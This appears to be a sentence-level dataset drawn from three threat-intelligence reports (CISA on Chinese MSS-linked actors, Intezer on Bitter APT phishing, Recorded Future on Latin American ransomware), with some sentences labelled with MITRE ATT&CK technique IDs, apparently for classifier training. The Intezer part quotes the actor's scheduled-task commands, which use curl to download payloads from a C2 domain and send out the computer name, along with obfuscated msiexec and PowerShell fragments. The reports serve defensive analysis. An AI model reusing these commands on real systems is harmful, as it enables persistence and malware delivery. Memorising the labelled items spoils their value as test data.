{"sentence": "This open-source tool is used to capture account credentials and perform privilege escalation with pass-the-hash attacks that allow an attacker to pass captured password hashes and authenticate to network devices.[12] The following sections list the ATT&CK Framework TTPs routinely employed by Chinese government-affiliated actors to conduct cyber operations as observed by CISA analysts.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "In the last 12 months, CISA has observed Chinese MSS-affiliated actors use spearphishing emails with embedded links to actor-owned infrastructure and, in some cases, compromise or poison legitimate sites to enable cyber operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "CISA has observed the threat actors using the Initial Access [TA0001] techniques identified in table 6. Table 6: Initial access techniques observed by CISA MITRE ID Name Observation T1204.001 User Execution: Malicious Link CISA has observed indications that users have clicked malicious links embedded in spearphishing emails that the threat actors sent T1566.002 Phishing: Spearphishing Link CISA analyzed network activity of a Federal Government entity and concluded that the threat actors sent a malicious email weaponized with links.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Cyber threat actors can continue to successfully launch these types of low-complexity attacks—as long as misconfigurations in operational environments and immature patch management programs remain in place—by taking advantage of common vulnerabilities and using readily available exploits and information.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Execution CISA analysts continue to observe beaconing activity indicative of compromise or ongoing access to Federal Government networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "This beaconing is a result of cyber threat actors successfully completing cyber operations that are often designed around emergent vulnerabilities and reliant on existing exploitation tools, as mentioned in this document.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Credential Access Cyber threat actors also continue to identify large repositories of credentials that are available on the internet to enable brute-force attacks.", "labels": ["T1110"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Further, a threat actor does not require a high degree of competence or sophistication to successfully carry out this kind of opportunistic attack.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "CISA has observed Chinese MSS-affiliated actors using the Credential Access", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Table 8:", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Credential access techniques observed by CISA MITRE ID Name Observation T1003.001 Operating System (OS)", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Credential Dumping: Local Security Authority Subsystem Service (LSASS) Memory CISA observed the threat actors using Mimikatz in conjunction with coin miner protocols and software.", "labels": ["T1003.001"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "The actors used Mimikatz to dump credentials from the OS using a variety of capabilities resident within the tool.", "labels": ["T1003.001"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "T1110.004 Brute Force: Credential Stuffing CISA observed what was likely a brute-force attack of a Remote Desktop Protocol on a public-facing server. Discovery As with any cyber operation, cyber threat actors must be able to confirm that their target is online and vulnerable—there are a multitude of open-source scanning and reconnaissance tools available to them to use for this purpose.", "labels": ["T1110", "T1190"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "CISA consistently observes scanning activity across federal agencies that is indicative of discovery techniques.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "CISA has observed Chinese MSS-affiliated actors scanning Federal Government traffic using the discovery technique highlighted in table 9 (Discovery [TA0007]).", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Table 9: Discovery technique observed by CISA MITRE ID Name Observation T1046 Network Service Scanning CISA has observed suspicious network scanning activity for various ports at Federal Government entities.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Collection Within weeks of public disclosure of CVE-2020-0688, CISA analysts identified traffic that was indicative of Chinese MSS-affiliated threat actors attempting to exploit this vulnerability using the Collection [TA0009] technique listed in table 10. Table 10: Collection technique observed by CISA MITRE ID Name Observation T1114 Email Collection CISA observed the actors targeting CVE-2020-0688 to collect emails from the exchange servers found in Federal Government environments.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Command and Control CISA analysts often observe cyber threat actors using external proxy tools or hop points to enable their cyber operations while remaining anonymous.", "labels": ["T1090"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "These proxy tools may be commercially available infrastructure as a service (IaaS) or software as a service (SaaS) in the form of a web browser promising anonymity on the internet.", "labels": ["T1090"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "For example, “The Onion Router” (Tor) is often used by cyber threat actors for anonymity and C2.", "labels": ["T1090"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "These techniques are relatively low in complexity and enabled by commercially available tools, yet they are highly effective and often reliant upon existing vulnerabilities and readily available exploits.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "CISA has observed Chinese MSS-affiliated actors using the Command and Control [TA0011] techniques listed in table 11.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Table 11: Command and control techniques observed by CISA MITRE ID Name Observation T1090.002 Proxy: External Proxy CISA observed activity from a network proxy tool to 221 unique Federal Government agency IP addresses.", "labels": ["T1090"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "T1090.003 Proxy: Multi-hop", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "T1573.002 Encrypted Channel: Asymmetric Cryptography CISA observed activity from Tor that has resulted in confirmed compromises of internet-facing Federal Government agency systems.", "labels": ["T1190"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "CISA and the FBI recommend that organizations place an increased priority on patching the vulnerabilities routinely exploited by MSS-affiliated cyber actors.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "See table 12 for patch information on the CVEs mentioned in this report.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "For more information on vulnerabilities routinely exploited by sophisticated cyber actors, see CISA Alert: Top 10 Routinely Exploited Vulnerabilities.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Table 12: Patch Information for Vulnerabilities Routinely Exploited by MSS-affiliated Cyber Actors Vulnerability Vulnerable Products Patch Information CVE-2020-5902 Big-IP devices (LTM, AAM, Advanced WAF, AFM, Analytics, APM, ASM, DDHD, DNS, FPS, GTM, Link Controller, PEM, SSLO, CGNAT) F5 Security Advisory: K52145254: TMUI RCE vulnerability CVE-2020-5902 CVE-2019-19781 Citrix Application Delivery Controller Citrix Gateway Citrix SDWAN WANOP Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 11.1 and 12.0 Citrix blog post: security updates for Citrix SD-WAN WANOP release 10.2.6 and 11.0.3 Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 12.1 and 13.0 Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway version 10.5 CVE-2019-11510 Pulse Connect Secure 9.0R1 - 9.0R3.3, 8.3R1 - 8.3R7, 8.2R1 - 8.2R12, 8.1R1 - 8.1R15 Pulse Policy Secure 9.0R1 - 9.0R3.1, 5.4R1 - 5.4R7, 5.3R1 - 5.3R12, 5.2R1 - 5.2R12, 5.1R1 - 5.1R15 Pulse Secure Out-of-Cycle Advisory:", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Pulse Policy Secure 9.0RX CVE-2020-0688 Microsoft Exchange Servers Microsoft Security Advisory: CVE-2020-0688: Microsoft Exchange Validation Key Remote Code Execution Vulnerability CISA and the FBI also recommend that organizations routinely audit their configuration and patch management programs to ensure they can track and mitigate emerging threats.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Implementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors’ operations and protect organizations’ resources and information systems.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "To request incident response resources or technical assistance related to these threats, contact CISA at central@cisa.dhs.gov. References [1] U.S. Department of Justice Press Release [2] U.S. Department of Justice Press Release [3] Shodan", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "[4] MITRE Common Vulnerabilities and Exposures List [5] National Institute of Standards and Technology National Vulnerability Database", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "[6] CISA Alert AA20-133A: Top 10 Routinely Exploited Vulnerabilities [7] CISA Alert AA20-206A: Threat Actor Exploitation of F5 BIG-IP CVE-2020-5902", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "[8] CISA Alert AA20-031A: Detecting Citrix CVE-2019-19781", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "[11] Exploit-DB [12] What is Mimikatz:", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"}
{"sentence": "Intezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT, operating in the Asia-Pacific region.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "We have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Bitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used.", "labels": ["T1566.001"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Analysis of Phishing Lures and Payloads We identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "In some emails, people and entities in academia are also targeted, also related to nuclear energy.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload.", "labels": ["T1566.001"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The name and email address used to send the phishing emails is crafted to look like it is coming from an “Embassy in Beijing.”", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Either CHM files, or Microsoft Excel files with Equation Editor exploits.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "These payloads are compressed inside RAR files, this helps avoid static analysis techniques that do not decompress the files first.", "labels": ["T1027"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The purpose of the payloads are to create persistence and download further malware payloads.", "labels": ["T1105"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Malicious Microsoft Excel Files The Excel payloads simply contain an Equation Editor exploit that creates two different scheduled tasks.", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "There is no decoy in the document.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "One scheduled task (shown below) runs every 15 minutes, to download a next stage EXE payload using cURL, also sending the actor the name of the infected machine.", "labels": ["T1053.005", "T1105"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "These tactics have been observed being used by Bitter APT in 2021/2022.", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "\"C:\\Windows\\System32\\schtasks.exe\" /create /sc MINUTE /mo 15 /TN \\Windows\\DWM\\DWMCORE /TR \"cmd /c start /min", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "curl --output", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "-O \"\"https://qwavemediaservice[.]net/hkcu/qt.php/?dt=%computername%-QT-2&ct=QT\"\"\" /f Figure 4: Scheduled task The second scheduled task created attempts to execute the payload downloaded by the other task: \"C:\\Windows\\System32\\schtasks.exe\" /create /sc MINUTE /mo 20 /TN \\Windows\\DWM\\DWMCORELIB /TR", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "\"%AppData%\\dwmcor.exe\" /f CHM Files The more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files.", "labels": ["T1027"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage.", "labels": ["T1053.005", "T1105"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "We have noted multiple versions of these CHM payloads.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "String concatenation is used to break up the string for obfuscation.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "\"C:\\Windows\\System32\\schtasks.exe\" /create /sc minute /mo 15 /tn", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "AdobeUpdater /tr", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "\"%coMSPec% /c", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "s^t^a^rt /^m^i^n m^s^i^e^xe^c", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "We did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.", "labels": ["T1005", "T1056.001", "T1219"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.", "labels": ["T1027"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The decoded command is the following: schtasks /create", "labels": ["T1053.005", "T1140"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "/tn", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "\"powershell.exe -WindowStyle", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "What is interesting about the next version is that it now contains a decoy picture when opened: Figure 7: Decoy picture The decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only): Figure 8: Machine translated version of the decoy Conclusion Bitter APT have been conducting espionage campaigns for years using many tactics, including phishing, to achieve their goals.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "None of the social engineering techniques used are novel and it is imperative that employees of companies should have a good standard of security awareness about phishing emails.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Always take care when handling attachments, and never open CHM files as they are antiquated and not commonly used for legitimate purposes currently.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "– Want to learn more about automating your pipeline for phishing email investigations with Intezer?", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Book a time to talk with us. – Indicators of Compromise File Hashes (SHA256) 5f663f15701f429f17cc309d10ca03ee00fd20f733220cc9d2502eff5d0cd1a1", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "(Email)", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "EvasionCompiled HTML FileT1218.001CHM files are used to deliver payloadsDefense EvasionMasqueradingT1036Files are masqueraded as legitimate files and scheduled tasks are named after common tasks (eg.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Adobe Updater)DiscoverySystem Information DiscoveryT1082First stage payloads fetch Computer and User namesCommand and ControlWeb ProtocolsT1071.001HTTPS is used for C2 communicationCommand and ControlExfiltration Over C2 ChannelT1041Data can be exfiltrated The post Phishing Campaign Targets Chinese Nuclear Energy Industry appeared first on Intezer.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Recorded Future examined the recent escalation of cyberattacks on Latin American (LATAM) governments from January 2022 until May 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "We analyzed vulnerabilities, attack vectors, and indicators of compromise (IOCs), identified the most prevalent ransomware gangs targeting LATAM governments, and highlighted the lack of proper cybersecurity hygiene in the region.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Countries affected include Costa Rica, Peru, Mexico, Ecuador, Brazil, and Argentina, among others, all of which have publicly condemned Russia for invading Ukraine at the United Nations General Assembly (UNGA).", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "More recently, national emergencies have been issued regarding these attacks, such as in Costa Rica.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Ransomware groups involved in these attacks against governments in LATAM include Conti, ALPHV, LockBit 2.0, and BlackByte.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "We have anecdotally identified a noticeable increase in initial access brokerage (IAB) services on top-tier Russian-language dark web and special access forums such as XSS and Exploit advertising low-cost, compromised network access methods related to entities in LATAM.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Additionally, we observed a significant increase in the sale of compromised credentials affecting LATAM government domains on dark web shops in Q1 and Q2 2022, relative to 2021.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Key JudgmentsThe credibility of ransomware attacks on LATAM government entities is high, based on analysis of leaked sample data, threat actor indications, and historical activities, patterns, and trends related to tracked ransomware operators and affiliates.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Entities in LATAM will remain attractive targets for ransomware operators and affiliates, as the region lacks the proper cybersecurity education, hygiene, and infrastructure to defend against such threats.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "If attacks on LATAM government entities were to escalate to target infrastructure and critical services, this would pose a significant national security risk.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "The most likely attack vectors employed by ransomware affiliates targeting LATAM government entities include the use of compromised valid credentials obtained via infostealer infection, initial access broker sale, or purchase on a dark web shop or marketplace.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "However, the most common method by which threat actors obtain initial access to networks is through the use of compromised valid credential pairs (T1078) and session cookies (T1539), which are often harvested from a successful infostealer infection (T1555, T1083) and sold by specialized initial access brokers on dark web and special-access sources.", "labels": ["T1078"], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "These infostealers are often spread via phishing (T1566), spamming, the unintentional downloading of a malicious (T1204) or masquerading (T1036) file, and various other methods.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "We have observed a minor, sustained increase in references to initial access sales and database leaks targeting LATAM government entities on dark web and special-access sources, beginning in approximately March 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "These observations are recorded anecdotally via Insikt Groups daily threat leads, analyst notes, and reports.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "We have observed several threat actors, such as zirochka, on top-tier Russian-language forums XSS and Exploit auctioning compromised network accesses targeting entities in LATAM in bulk for relatively low prices (< $100).Figure 1: Timeline of ransomware attacks on LATAM government entities, mapped to references to LATAM on dark web and special-access sources (Source: Recorded Future)We have observed a slight increase in database dumps related to LATAM government entities, beginning in March 2022 and spiking on April 4, 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "We have also identified a significant increase in Q1 2022, beginning in February 2022, of references to domains owned by government entities in LATAM on dark web shops and marketplaces such as Russian Market, Genesis Store, and 2easy Shop, relative to the same time period in 2021.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "These dark web shops and marketplaces specialize in the sale of compromised account credentials, remote desktop protocol (RDP) and secure shell (SSH) accesses, and infostealer malware logs that can be utilized to gain access to a victims network.", "labels": ["T1021.001"], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "While we cannot determine any direct or causal link between the increased supply, frequency, and volume of advertisements targeting government entities and domains in LATAM to ransomware attacks targeting LATAM government entities, we believe that such trends and observations warrant further research to analyze and determine any possible correlation.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Figure 2: Examples of bulk initial access auctions targeting unspecified entities in LATAM (Source: Exploit Forum)Ransomware Gangs Targeting LATAM Government EntitiesWe have observed at least 4 high-credibility ransomware gangs targeting LATAM government entities during a period of time beginning on April 1, 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "These gangs include Conti, ALPHV (BlackCat), LockBit 2.0, and BlackByte.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "These incidents constitute a significant escalation in the severity and impact of ransomware targeting.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Generally, ransomware affiliates avoid targeting healthcare facilities, K-12 educational institutions, international organizations and coalitions, and local, provincial, or federal governments.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "ContiThe most noteworthy of these targets is the attack on the government of Costa Rica by Conti, which resulted in the worlds first nationwide emergency declared as the result of a ransomware attack.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "The attack, likely perpetrated and publicized by ransomware affiliate or affiliate group unc1756, also likely known as wazawaka, has garnered widespread media and law enforcement attention.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Since affiliates often work independently from the larger ransomware brand, it is possible that the attacks on Costa Rica that were claimed by Conti are not the work of the larger group.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Conti has claimed to have exfiltrated, encrypted, or destroyed approximately 1TB of sensitive information related to the administration and operations of several Costa Rican entities including the Ministry of Finance (hacienda[.]go[.]cr), the Ministry of Labor and Social Security (mtss[.]go[.]cr), the Development Fund and Family Allowances Bureau (fodesaf[.]go[.]cr), and the Interuniversity Headquarters of Alajuela, Costa Rica (siua[.]ac[.]cr).", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Previous Conti posts also made vague references to controlling public utilities such as water and electricity, likely indicating indirectly that the group had access to Costa Rican industrial control system / supervisory control and data acquisition (ICS/SCADA) environments.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "However, we are not able to verify these claims.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "This marked the first time that ALPHV targeted a government entity located in LATAM.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "According to Ecuadorian media, this attack took several services offline for an unspecified amount of time.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "As of April 25, 2022, all of the information claimed to have been exfiltrated by ALPHV is available to download for free on a .onion domain provided on the public-facing ALPHV extortion website with the same name.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Compromised information likely includes sensitive financial, legal, and political documents related to the operations and administration of the Municipality of Quito, Ecuador.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "2.0On May 23, 2022, the LockBit 2.0 ransomware gang published to their blog leaked files related to the Secretary of Health of the State of Morelos, Mexico (saludparatodos[.]ssm[.]gob[.]mx), a breach that was initially disclosed on or around May 16, 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "As of April 25, 2022, it is unclear whether the attacks resulted in a significant disruption of critical services related to the government entities.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "The compromised information likely includes sensitive financial, legal, and political documents related to the operations and administration of these entities.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "This information, if leveraged by an opportunistic threat actor, criminal, or nation-state, could prove to be damaging to the national security of Mexico and Brazil.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Figure 5: Announcements of attacks on Mexican and Brazilian government entities by the LockBit Gang (Source: LockBit Blog)BlackByteOn May 21, 2022, the BlackByte ransomware operators published claims on their public-facing extortion website named BlackByte Blog that they had compromised the internal network of the Comptroller General of the Republic of Peru (contraloria[.]gob[.]pe).", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "As of April 25, 2022, the BlackByte ransomware operators have not published any noteworthy data related to this government entity.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "This attack has yet to be confirmed by any representatives of the Comptroller General of Peru and has not been extensively reported on in Peruvian or Spanish-language media.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "As of this writing, we cannot determine if this attack caused the disruption of critical services provided by the comptroller general, although it is likely that any detected service disruptions on the domain are related to this attack.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Educational and training institutions in the region simply cannot keep up with the current demand for IT security professionals.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Investments in education, training, and apprenticeship programs would make the most difference in building capacity, closing the cyber skills gap, and getting more individuals into the cyber talent pipeline.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "While it is difficult to evaluate countries given their alternative approaches to cybersecurity, some have decided to leave cybersecurity to private firms while others have leaned on government agencies and the military to combat cybercriminals.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "According to the Organization of American States (OAS) cybersecurity observatory, most LATAM countries are in the early stages of cybersecurity development.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "As a result, there is still a lot to accomplish and implement in terms of cyber security policies in Central American and Caribbean countries.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Nevertheless, countries such as Argentina, Dominican Republic, Ecuador, Panama, and Peru, among others, are making significant efforts to advance their cyber capabilities.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "However, there is a small list of countries with established policies, legal frameworks, institutional capacity, and human capital resources, including Brazil, Uruguay, Colombia, and Chile.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "And although they are still developing, countries such as Brazil, Colombia, Chile, and Mexico have taken the lead in broadening their institutional capacities, including the development of cyber laws, policies, and regulations.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "There is also increased expertise in the private sector, primarily the financial sector, within these nations.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
